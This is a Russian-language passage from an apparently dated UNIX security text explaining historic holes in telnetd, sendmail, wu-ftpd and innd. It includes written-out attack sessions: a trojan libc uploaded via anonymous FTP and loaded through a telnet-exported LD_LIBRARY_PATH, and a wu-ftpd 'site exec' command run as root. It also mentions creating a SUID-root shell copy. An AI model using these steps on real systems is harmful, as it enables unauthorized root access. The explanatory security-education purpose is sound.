В этом разделе мы перейдем к рассмотрению ситуации с безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато появились новые версии UNIX. Вероятно, пользователи стали уделять больше внимания своим паролям, но вычислительная мощность персональных компьютеров удваивается чуть ли не каждый год, и программы-взломщики становятся все более изощренными. Сегодня, скорее всего, хакер уже не будет искать уязвимости в демонах типа telnetd или ftpd, а возьмет какой-нибудь малоизученный. Далее мы не станем приводить конкретные примеры (exploit) их использования по вполне понятным причинам.

Ошибка в демоне telnetd

Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).

Основная идея проникновения заключается в том, что злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского" коня: при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы библиотека воспринималась на атакуемой машине как настоящая. Для этого взломщик подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, telnet-демоны, поддерживающие функцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут переслать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так:

evil:~# ftp victim.com Connected to victim.com
220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EOT 1996) ready.
Name (evil: root): anonymous
331 Guest login ok, send your complete e-mail address as password. 
Password: *****
230 Guest login, ok, access restrictions apply.
Remote system type is UNIX. 
Using binary mode to transfer files. 
ftp> cd incoming 
250 CWD command successful.
ftp> send libc.so.4
200 PORT command successful.
150 Opening BINARY mode data connection for libc.so.4.
226 Transfer complete. 
ftp> bye 
221 Goodbye.
evil:~# telnet
telnet> env define LD_LIBRARY_PATH /home/ftp/incoming
telnet> env export LD_LIBRARY_PATH
telnet> open victim.com
Trying 194.94.94.94...
Connected to victim.com.
Escape character is '^]'.
Linux 1.2.13 (victim.com)(ttypO)
Victim login: hacker
Password:
bash# cd /root

Снова sendmail

В этом разделе мы рассмотрим две уязвимости в программе sendmail новых версий [15, 16], одна из которых позволяет локальному пользователю стать суперпользователем и относится, таким образом, к сценарию 3. Вторая уязвимость очень серьезна и в некотором роде уникальна: ее использование позволит хакеру выполнить любую команду от имени суперпользователя на вашей машине, невзирая на все системы защиты, включая межсетевые экраны. Поэтому она является возможным примером осуществления атаки класса 1 и в наши дни.

Очевидно, что одна из основных функций sendmail - это SMTP-демон, отвечающий на входящие письма. Только суперпользователь может запустить ее в таком режиме, и это проверяется специальной процедурой самой sendmail. Однако из-за ошибки кодирования sendmail может быть запущена в режиме демона так, что проверка будет пропущена. Более того, начиная с версии 8.7, sendmail перезапустит сама себя, если получит сигнал SIGHUP с помощью системного вызова ехес(2), после чего она начнет исполняться с привилегиями суперпользователя. В этот момент, манипулируя переменными sendmail, злоумышленник может заставить ее выполнить любую команду, естественно, с привилегиями суперпользователя. Как стандартный вариант используется копирование оболочки /bin/sh в /tmp/sh и установка на него SUID root.

Вторая уязвимость, как уже говорилось, присутствует всегда при наличии sendmail до версии 8.8.4 включительно с конфигурацией по умолчанию, независимо от присутствия других сервисов и средств защиты типа межсетевых экранов. Раз sendmail работает на вашем компьютере, значит, отправляется и принимается электронная почта. Оказывается, ничего другого в данном случае кракеру не надо: как в старые добрые времена, "бомба" к вам может попасть в обычном письме стандартного формата, которое, естественно, без всяких подозрений пропустит любой межсетевой экран или другой фильтр. Это письмо, однако, будет иметь более чем специфическое содержание в MIME-кодировке, при обработке которого у sendmail банально переполнится буфер, данные попадут в стек и могут быть интерпретированы как код. Естественно, он выполнится от имени суперпользователя.

Эта ошибочная функция вызывается, кстати, только в том случае, если в конфигурации sendmail стоит недокументированный флаг "-9".

Какие можно сделать выводы из этой примечательной ситуации? Во-первых, видимо, это один из случаев, когда ошибка в исходном коде была найдена раньше хакерами, а не кракерами. Во-вторых, как обычно, пройдет много времени, прежде чем все уязвимые программы sendmail будут заменены на новые, а кракеры тем временем, уже зная конкретно об этой ошибке, смогут максимально ее использовать. Более того, своей масштабностью она прямо подтолкнет их к написанию нового глобального червя. В-третьих, это еще раз доказывает, что любые программы в процессе своего совершенствования могут приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых, сильно удивляет позиция автора sendmail, который, несмотря на репутацию автора "программы, насчитывающей такое же количество ошибок в плане безопасности, как и все другие UNIX-программы, вместе взятые", традиционно продолжает оставлять недокументированные команды или ключи. Мы бы не рекомендовали ставить программу sendmail на любой хост, который более или менее критичен к угрозам извне, так как ошибки в ней обнаруживаются с пугающей регулярностью.

Уязвимости в wu-ftpd

FTP-демон wu-ftpd, написанный в вашингтонском университете, является значительным расширением стандартного ftpd. Как обычно, это приводит и к расширению содержащихся в нем ошибок.

Самой известной из них является ошибка, позволяющая всего-навсего выполнить любую команду от имени суперпользователя, причем для удобства кракера в wu-ftp есть специальная команда, которая так и называется site exec (выполнить на сайте) [18]. Эта атака интересна тем, что не подходит ни под один из сценариев (она проходит аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным демоном, но для ее успешной реализации необходимы полномочия обычного пользователя):

evil# ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.
Name (victim:root): good
331 Password required for good.
Password: *****
230 User good logged in.
Remote system type is UNIX. 
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"
200-bash -с id 
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users) 
200 (end of 'bash-c id')

Видно, что в последней строчке на удаленном хосте выполнилась команда id от имени суперпользователя, это означает, что хост уязвим.

Другая уязвимость, которой подвержены версии wu-ftpd (1996-1997 гг.), состояла в том, что при определенных условиях можно переполнить список аргументов команды, а это приведет к сбросу демоном аварийного дампа памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp. Самое интересное, владельцем дампа будет не root, как обычно бывает, a anonymous, и дамп будет сбрасываться в его домашний каталог. Отсюда следует, что он позже может быть прочитан удаленно. Ну а чтение аварийного дампа равносильно копанию в корзине для бумаг на секретном объекте - среди мусора находятся очень любопытные вещи, например сброшенные кэшированные пароли. Так что злоумышленнику останется только запустить взломщик паролей поновее.

В последний момент wu-ftpd вновь напомнил о себе. Оказалось, что если злоумышленник имеет право на запись в некий ftp-каталог (вполне достаточно наличия /incoming), то у wu-ftpd переполняется буфер при создании вложенных каталогов с длинными именами. Реализация этой уязвимости, опубликованная в Internet, вызвала эпидемию вскрытых хостов весной 1999 года, потому что нашлись молодые люди, умеющие запускать чужие программы и считающие себя при этом "крутыми хакерами".

Проникновение с помощью innd

Проиллюстрируем тот путь, по которому идут кракеры сегодня и рассмотрим самый популярный способ проникновения в UNIX-хосты на начало 1997 года.

В качестве "лазейки" была выбрана серверная программа, отвечающая за передачу новостей USENET по протоколу NNTP, называемая InterNet News (Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа "не запятнала" себя ранее (это как раз пример новаторского подхода); во-вторых, как и любой демон, она потенциально допускает проникновение по классу 1; в-третьих, сервис передачи новостей выходит на одно из первых мест в Internet, поэтому программа достаточно распространена и существует практически на всех платформах; в-четвертых, уязвимости, если они найдутся в ней, не могут быть сведены на нет межсетевым экраном. Поясним последнее подробнее. Если вы у себя на машине ставите сервер, который должен отвечать за прием и передачу новостей по протоколу NNTP, то, естественно, обязаны разрешить этот протокол в своем межсетевом экране. Но кракер, с другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в приведенной выше уязвимости в sendmail, межсетевой экран не отличает пакеты с "хорошими" новостями от "плохих", которые посылает кракер, - Firewall может только запретить или разрешить конкретный трафик в целом.

Именно такого рода уязвимость была найдена в программе innd [17]. Среди обычных сообщений USENET встречаются так называемые управляющие типа "newgroup" или "rmgroup". Innd обрабатывает команды, расположенные в них, через команду оболочки "eval". Однако некоторая информация (иначе говоря, специальным образом разработанное фальшивое управляющее сообщение) может быть передана оболочке без надлежащего контроля. Это позволит любому, кто может присылать сообщения на ваш NNTP-сервер - иногда это чуть ли ни каждый пользователь USENET, исполнить какую угодно команду, имея привилегии демона innd, а это либо суперпользователь, либо специальный пользователь news с широкими правами. Все версии Inn, до 1.5 включительно, оказались уязвимыми.

[15352]